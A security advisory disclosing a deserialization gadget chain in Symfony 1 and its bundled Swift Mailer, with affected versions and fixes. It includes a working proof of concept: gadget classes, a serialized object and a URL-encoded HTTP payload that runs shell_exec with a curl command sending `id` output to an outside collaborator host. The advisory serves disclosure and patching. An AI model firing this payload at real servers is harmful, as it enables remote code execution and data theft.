GHSA-wjv8-pxr6-5f4r Gadget chain in Symfony 1 due to vulnerable Swift Mailer dependency

• Packagist friendsofsymfony1/symfony1: >= 1.3.0, < 1.5.18 → fixed in 1.5.18 • Packagist friendsofsymfony1/swiftmailer: >= 4.0.0, < 5.4.13 → fixed in 5.4.13 • Packagist friendsofsymfony1/swiftmailer: >= 6.0.0, < 6.2.5 → fixed in 6.2.5 • Packagist swiftmailer/swiftmailer: >= 4.0.0, < 6.2.5 → fixed in 6.2.5

Summary Symfony 1 has a gadget chain due to vulnerable Swift Mailer dependency that would enable an attacker to get remote code execution if a developer unserialize user input in his project. Details This vulnerability present no direct threat but is a vector that will enable remote code execution if a developper deserialize user untrusted data. For example: ```php public function executeIndex(sfWebRequest $request) { $a = unserialize($request->getParameter('user')); } ``` We will make the assumption this is the case in the rest of this explanation. Symfony 1 depends on Swift Mailer which is bundled by default in `vendor` directory in the default installation since 1.3.0. Swift Mailer classes implement some `__destruct()` methods like for instance `Swift_KeyCache_DiskKeyCache` : ```php public function __destruct() { foreach ($this->_keys as $nsKey=>$null) { $this->clearAll($nsKey); } } ``` This method is called when php destroy the object in memory. However, it is possible to include any object type in `$this->_keys` to make PHP access to another array/object properties than intended by the developer. In particular, it is possible to abuse the array access which is triggered on `foreach($this->_keys ...)` for any class implementing `ArrayAccess` interface. `sfOutputEscaperArrayDecorator` implements such interface. Here is the call made on `offsetGet()`: ```php public function offsetGet($offset) { return sfOutputEscaper::escape($this->escapingMethod, $this->value[$offset]); } ``` Which trigger `escape()` in `sfOutputEscaper` class with attacker controlled parameters from deserialized object with `$this->escapingMethod` and `$this->value[$offset]`: ```php public static function escape($escapingMethod, $value) { if (null === $value) { return $value; } // Scalars are anything other than arrays, objects and resources. if (is_scalar($value)) { return call_user_func($escapingMethod, $value); } ``` Which calls `call_user_func` with previous attacker controlled input. However, most recent versions of Swift Mailer are not vulnerable anymore. A fix has been done with commit 5878b18b36c2c119ef0e8cd49c3d73ee94ca0fed to prevent #arbitrary deserialization. This commit has been shipped with version 6.2.5 of Swift Mailer. Concreetly, `__wakeup()` have been implemented to clear attributes' values: ```php public function __wakeup() { $this->keys = []; } ``` And/or prevent any deserialization: ```php public function __wakeup() { throw new \BadMethodCallException('Cannot unserialize '.__CLASS__); } ``` If you install last version 1.5 with composer, you will end-up installing last 6.x version of Swift Mailer containing the previous fixes. Here is an extract of the composer.lock: ```json { "name": "friendsofsymfony1/symfony1", "version": "v1.5.15", "source": { "type": "git", "url": "https://github.com/FriendsOfSymfony1/symfony1.git", "reference": "9945f3f27cdc5aac36f5e8c60485e5c9d5df86f2" }, "require": { "php": ">=5.3.0", "swiftmailer/swiftmailer": "~5.2 || ^6.0" }, ... { "name": "swiftmailer/swiftmailer", "version": "v6.3.0", ... } } ``` By reviewing releases archives, `composer.json` targets vulnerable branch 5.x before Symfony 1.5.13 included: ```json { "name": "friendsofsymfony1/symfony1", "description": "Fork of symfony 1.4 with dic, form enhancements, latest swiftmailer and better performance", "type": "library", "license": "MIT", "require": { "php" : ">=5.3.0", "swiftmailer/swiftmailer": "~5.2" }, ... ``` So, the gadget chain is valid for at least versions until 1.5.13. However, if you install last version of Symfony with git as described in the README, Swift Mailer vendors is referenced through a git sub-module targeting branch 5.x of Swift Mailer: ```shell [submodule "lib/vendor/swiftmailer"] path = lib/vendor/swiftmailer url = https://github.com/swiftmailer/swiftmailer.git branch = 5.x [submodule "lib/plugins/sfDoctrinePlugin/lib/vendor/doctrine"] path = lib/plugins/sfDoctrinePlugin/lib/vendor/doctrine url = https://github.com/FriendsOfSymfony1/doctrine1.git ``` And branch 5.x does not have the backport of the fix committed on branch 6.x. Last commit date from Jul 31, 2018. PoC So we need the following object to trigger an OS command like `shell_exec("curl https://h0iphk4mv3e55nt61wjp9kur9if930vok.oastify.com?a=$(id)");`: ```php object(Swift_KeyCache_DiskKeyCache)#88 (4) { ["_stream":"Swift_KeyCache_DiskKeyCache":private]=> NULL ["_path":"Swift_KeyCache_DiskKeyCache":private]=> string(25) "thispathshouldneverexists" ["_keys":"Swift_KeyCache_DiskKeyCache":private]=> object(sfOutputEscaperArrayDecorator)#89 (3) { ["count":"sfOutputEscaperArrayDecorator":private]=> NULL ["value":protected]=> array(1) { [1]=> string(66) "curl https://h0iphk4mv3e55nt61wjp9kur9if930vok.oastify.com?a=$(id)" } ["escapingMethod":protected]=> string(10) "shell_exec" } ["_quotes":"Swift_KeyCache_DiskKeyCache":private]=> bool(false) } ``` We craft a chain with PHPGGC. Please do not publish it as I will make a PR on PHPGGC but I wait for you to fix before: • gadgets.php: ```php class Swift_KeyCache_DiskKeyCache { private $_path; private $_keys = array(); public function __construct($keys, $path) { $this->_keys = $keys; $this->_path = $path; } } class sfOutputEscaperArrayDecorator { protected $value; protected $escapingMethod; public function __construct($escapingMethod, $value) { $this->escapingMethod = $escapingMethod; $this->value = $value; } } ``` • chain.php: ```php namespace GadgetChain\Symfony; class RCE12 extends \PHPGGC\GadgetChain\RCE\FunctionCall { public static $version = '1.3.0 $parameters['parameter'])); $path = "thispathshouldneverexists"; $cache = new \Swift_KeyCache_DiskKeyCache($keys, $path); return $cache; } } ``` And trigger the deserialization with an HTTP request like the following on a dummy test controller: ```http POST /frontend_dev.php/test/index HTTP/1.1 Host: localhost:8001 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 532 user=a%3A2%3A%7Bi%3A7%3BO%3A27%3A%22Swift_KeyCache_DiskKeyCache%22%3A2%3A%7Bs%3A34%3A%22%00Swift_KeyCache_DiskKeyCache%00_path%22%3Bs%3A25%3A%22thispathshouldneverexists%22%3Bs%3A34%3A%22%00Swift_KeyCache_DiskKeyCache%00_keys%22%3BO%3A29%3A%22sfOutputEscaperArrayDecorator%22%3A2%3A%7Bs%3A8%3A%22%00%2A%00value%22%3Ba%3A1%3A%7Bi%3A1%3Bs%3A66%3A%22curl+https%3A%2F%2Fh0iphk4mv3e55nt61wjp9kur9if930vok.oastify.com%3Fa%3D%24%28id%29%22%3B%7Ds%3A17%3A%22%00%2A%00escapingMethod%22%3Bs%3A10%3A%22shell_exec%22%3B%7D%7Di%3A7%3Bi%3A7%3B%7D ``` Note that CVSS score is not applicable to this kind of vulnerability. Impact The attacker can execute any PHP command which leads to remote code execution. Recommendation As with composer, Symfony is already using branch 6.x of Swift mailer there does not seem to be breaking change for Symfony 1 with branch 6.x? Or is it a mistake? In this case, update submodule reference to version 6.2.5 or higher, after commi…